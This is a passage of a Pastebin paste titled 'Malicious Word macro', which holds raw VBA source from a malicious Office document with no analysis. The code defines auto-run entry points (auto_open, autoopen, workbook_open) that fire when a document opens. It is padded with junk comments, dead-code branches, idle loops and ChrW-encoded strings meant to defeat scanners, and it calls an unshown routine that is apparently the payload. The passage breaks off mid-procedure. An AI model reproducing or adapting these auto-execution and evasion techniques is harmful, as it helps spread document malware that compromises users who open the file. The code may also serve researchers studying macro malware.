Advertisement
dynamoo

Malicious Word macro

Nov 6th, 2014
454
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 132.78 KB | None | 0 0
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  10. Sub auto_open()
  11. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  12. If 926465 = 926465 + 1 Then End
  13. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  14. If 7657 < 32 Then
  15. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  16.  
  17. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  18. Dim kfbmsnvr As Integer
  19. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  20. Dim vegzkylx As Integer
  21. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  22. For vegzkylx = 0 To 2
  23. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  24. DoEvents
  25. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  26. Next vegzkylx
  27. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  28. kfbmsnvr = 6
  29. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  30. Do While kfbmsnvr < 65
  31. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  32. Dim aqwnjbmb As Integer
  33. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  34. For aqwnjbmb = 0 To 2
  35. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  36. DoEvents
  37. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  38. Next aqwnjbmb
  39. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  40. DoEvents: kfbmsnvr = kfbmsnvr + 1
  41. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  42. Dim vrplyzxi As Integer
  43. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  44. For vrplyzxi = 0 To 3
  45. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  46. DoEvents
  47. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  48. Next vrplyzxi
  49. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  50. Loop
  51. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  52.  
  53. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  54. Dim vnrmizlc As Integer
  55. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  56. For vnrmizlc = 0 To 3
  57. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  58. DoEvents
  59. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  60. Next vnrmizlc
  61. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  62.        MsgBox (ChrW(107) & ChrW(112) & ChrW(118) & ChrW(115) & ChrW(104) & ChrW(106) & ChrW(102) & ChrW(119) & ChrW(56) & ChrW(52))
  63. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  64. End If
  65. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  66. If Len(ChrW(122) & ChrW(112) & ChrW(109) & ChrW(113) & ChrW(122) & ChrW(117) & ChrW(107) & ChrW(113) & ChrW(49) & ChrW(56) & ChrW(50) & ChrW(49)) = Len(ChrW(101) & ChrW(100) & ChrW(118) & ChrW(98) & ChrW(113) & ChrW(121) & ChrW(106) & ChrW(106)) Then
  67. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  68.  
  69. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  70. Dim oletgqso As Integer
  71. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  72. Dim dkaeeqhp As Integer
  73. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  74. For dkaeeqhp = 0 To 7
  75. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  76. DoEvents
  77. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  78. Next dkaeeqhp
  79. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  80. oletgqso = 7
  81. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  82. Do While oletgqso < 17
  83. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  84. Dim xkrfyduu As Integer
  85. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  86. For xkrfyduu = 0 To 1
  87. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  88. DoEvents
  89. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  90. Next xkrfyduu
  91. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  92. DoEvents: oletgqso = oletgqso + 1
  93. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  94. Dim ztxmgeta As Integer
  95. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  96. For ztxmgeta = 0 To 1
  97. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  98. DoEvents
  99. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  100. Next ztxmgeta
  101. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  102. Loop
  103. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  104.  
  105. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  106. Dim jwvsxhvz As Integer
  107. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  108. For jwvsxhvz = 0 To 6
  109. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  110. DoEvents
  111. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  112. Next jwvsxhvz
  113. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  114.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  115. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  116. End If
  117. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  118.  
  119. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  120. Dim qpllkwvm As Integer
  121. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  122. Dim xghkyijj As Integer
  123. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  124. For xghkyijj = 0 To 3
  125. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  126. DoEvents
  127. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  128. Next xghkyijj
  129. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  130. qpllkwvm = 9
  131. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  132. Do While qpllkwvm < 32
  133. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  134. Dim qylodmqj As Integer
  135. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  136. For qylodmqj = 0 To 5
  137. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  138. DoEvents
  139. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  140. Next qylodmqj
  141. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  142. DoEvents: qpllkwvm = qpllkwvm + 1
  143. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  144. Dim tflybcyc As Integer
  145. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  146. For tflybcyc = 0 To 1
  147. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  148. DoEvents
  149. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  150. Next tflybcyc
  151. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  152. Loop
  153. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  154.  
  155. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  156. Dim rmmnwbif As Integer
  157. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  158. For rmmnwbif = 0 To 5
  159. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  160. DoEvents
  161. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  162. Next rmmnwbif
  163. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  164. oknydsjonss
  165. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  166.  
  167. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  168. End Sub
  169. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  170. Sub autoopen()
  171. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  172. If 275943 = 275943 + 1 Then End
  173. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  174. If 2392 < 41 Then
  175. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  176.  
  177. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  178. Dim yotchvyu As Integer
  179. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  180. Dim ofinizzb As Integer
  181. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  182. For ofinizzb = 0 To 8
  183. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  184. DoEvents
  185. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  186. Next ofinizzb
  187. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  188. yotchvyu = 4
  189. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  190. Do While yotchvyu < 11
  191. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  192. Dim vtpkgfcb As Integer
  193. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  194. For vtpkgfcb = 0 To 2
  195. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  196. DoEvents
  197. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  198. Next vtpkgfcb
  199. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  200. DoEvents: yotchvyu = yotchvyu + 1
  201. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  202. Dim louexlrq As Integer
  203. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  204. For louexlrq = 0 To 7
  205. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  206. DoEvents
  207. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  208. Next louexlrq
  209. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  210. Loop
  211. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  212.  
  213. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  214. Dim tfwvatki As Integer
  215. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  216. For tfwvatki = 0 To 4
  217. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  218. DoEvents
  219. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  220. Next tfwvatki
  221. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  222.        MsgBox (ChrW(108) & ChrW(110) & ChrW(115) & ChrW(121) & ChrW(118) & ChrW(103) & ChrW(106) & ChrW(113) & ChrW(54) & ChrW(49))
  223. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  224. End If
  225. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  226. If Len(ChrW(110) & ChrW(104) & ChrW(104) & ChrW(116) & ChrW(117) & ChrW(111) & ChrW(100) & ChrW(122) & ChrW(53) & ChrW(53) & ChrW(54) & ChrW(53)) = Len(ChrW(119) & ChrW(112) & ChrW(103) & ChrW(112) & ChrW(97) & ChrW(102) & ChrW(110) & ChrW(104)) Then
  227. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  228.  
  229. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  230. Dim ivremmom As Integer
  231. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  232. Dim svzwqthm As Integer
  233. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  234. For svzwqthm = 0 To 7
  235. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  236. DoEvents
  237. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  238. Next svzwqthm
  239. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  240. ivremmom = 9
  241. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  242. Do While ivremmom < 96
  243. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  244. Dim dgjdanwn As Integer
  245. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  246. For dgjdanwn = 0 To 9
  247. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  248. DoEvents
  249. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  250. Next dgjdanwn
  251. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  252. DoEvents: ivremmom = ivremmom + 1
  253. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  254. Dim tsrslpdj As Integer
  255. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  256. For tsrslpdj = 0 To 2
  257. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  258. DoEvents
  259. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  260. Next tsrslpdj
  261. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  262. Loop
  263. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  264.  
  265. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  266. Dim tdavzicb As Integer
  267. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  268. For tdavzicb = 0 To 4
  269. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  270. DoEvents
  271. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  272. Next tdavzicb
  273. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  274.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  275. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  276. End If
  277. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  278.  
  279. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  280. Dim xgtmaurw As Integer
  281. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  282. Dim yilynwda As Integer
  283. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  284. For yilynwda = 0 To 4
  285. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  286. DoEvents
  287. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  288. Next yilynwda
  289. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  290. xgtmaurw = 2
  291. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  292. Do While xgtmaurw < 29
  293. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  294. Dim hvhwcorn As Integer
  295. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  296. For hvhwcorn = 0 To 6
  297. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  298. DoEvents
  299. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  300. Next hvhwcorn
  301. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  302. DoEvents: xgtmaurw = xgtmaurw + 1
  303. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  304. Dim ojvqzfto As Integer
  305. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  306. For ojvqzfto = 0 To 6
  307. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  308. DoEvents
  309. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  310. Next ojvqzfto
  311. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  312. Loop
  313. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  314.  
  315. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  316. Dim xstdhcde As Integer
  317. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  318. For xstdhcde = 0 To 9
  319. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  320. DoEvents
  321. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  322. Next xstdhcde
  323. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  324.    auto_open
  325. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  326.  
  327. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  328. End Sub
  329. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  330. Sub workbook_open()
  331. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  332. If 932566 = 932566 + 1 Then End
  333. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  334. If 3915 < 95 Then
  335. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  336.  
  337. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  338. Dim ffpaewza As Integer
  339. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  340. Dim kfsupocl As Integer
  341. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  342. For kfsupocl = 0 To 1
  343. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  344. DoEvents
  345. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  346. Next kfsupocl
  347. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  348. ffpaewza = 8
  349. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  350. Do While ffpaewza < 59
  351. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  352. Dim jcjqqifr As Integer
  353. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  354. For jcjqqifr = 0 To 5
  355. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  356. DoEvents
  357. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  358. Next jcjqqifr
